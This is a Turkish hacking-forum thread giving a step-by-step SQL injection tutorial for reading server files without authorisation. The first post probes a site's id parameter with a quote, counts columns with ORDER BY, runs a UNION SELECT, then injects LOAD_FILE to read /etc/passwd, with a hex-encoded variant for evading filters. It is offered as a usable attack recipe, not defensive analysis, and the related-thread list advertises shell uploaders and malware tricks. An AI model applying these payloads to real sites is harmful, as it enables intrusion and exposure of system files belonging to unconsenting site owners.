Konuyu Oyla:
  • Derecelendirme: 0/5 - 0 oy
  • 1
  • 2
  • 3
  • 4
  • 5
SQL inj. Dosya Okumak
#1
Merhaba arkadaşlar kiss
Başlıktan da anladıgınız gibi SQL İnjection ile siteye giriş yapmadan dosya okumayı anlatcam .(etc,password,vb..)

Mesela sitemiz şu olsun http://www.h4ck4l.com/index.php?id=1
kiss

ilk olarak;
sitede SQL açığı var mı diye test ediyoruz URL sonuna ' işareti koyarak ;

Fatal error: Call to a member function RecordCount() on a non-
object in /var/www/html/ornek.com/images.php on line 19
hatamızı aldık diyelim.

ikinci olarak;
+order+by komutu ile kolonumuzu bukucaz.
konuda bulduk diyelim sayımız 7 olsun.

üçüncü olarak;
http://www.h4ck4l.com/index.php?id=1+uni...,3,4,5,6,7 yazarak kolon sayımızı buluyoruz evet ekranda belirdi 3 sayısı ve 6 sayısı belirdi.

dördüncü ve son olarak ;
ekranda beliren sayılarımızın birinin yerine " LOAD_FILE ( istediğimiz dosya mesela /etc/passwd) " yazıyoruz ve enter a basıyoruz.
http://www.h4ck4l.com/index.php?id=1+uni...d),4,5,6,7

ekrana etc/passwd dosyası düşer eğer düşmezse hexleyip deneyin mesela

ww.h4ck4l.com/index.php?id=1+union+all+select+1,2,LOAD_FILE(0x2f6574632f706173737764),4,5,6,7

evet yazılar ekrana düştü sayfa yarım çıkarsa sayfa kaynağını görüntüle demeniz yeter tüm bilgiler orda exciting

Örnek resim;

www.deccal.org

NOT!! Arkadaşlar internette pek biyerde bulamazsınız bunu exciting
Beğenenler: M4M00D
#2
Eline sağlık exciting not benim site .com değil .org kiss
İnsɑnlɑr değişmez değişen tek şey şɑrtlɑr ve çıkɑrlɑr...
Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  Deccal Access Forbidden Hatası Dosya Yükleyici Shell KingSkrupellos 8 164 01-12-2016, Saat: 21:14
Son Yorum: Mr.Blade
  PHP ile IP Adresini Dosya yada Site Üzerinden Loglatmak KingSkrupellos 8 95 29-11-2016, Saat: 16:25
Son Yorum: Efetimi
  Kindeditor Example Dosya Yükleme Açığı ZonKed 6 146 26-08-2016, Saat: 23:48
Son Yorum: ZonKed
  Winrar Dosya Uzantısı Kandırma Yoluyla Zararlı Yazılım Çalıştırma s4dn3s 3 476 12-04-2014, Saat: 22:44
Son Yorum: s4dn3s
Anahtar Kelimeler

SQL inj. Dosya Okumak indir, SQL inj. Dosya Okumak Videosu, SQL inj. Dosya Okumak Online izle, SQL inj. Dosya Okumak Bedava indir, SQL inj. Dosya Okumak Yükle, SQL inj. Dosya Okumak Hakkında, SQL inj. Dosya Okumak Nedir, SQL inj. Dosya Okumak Free indir, SQL inj. Dosya Okumak Oyunu, SQL inj. Dosya Okumak Download


1 Ziyaretçi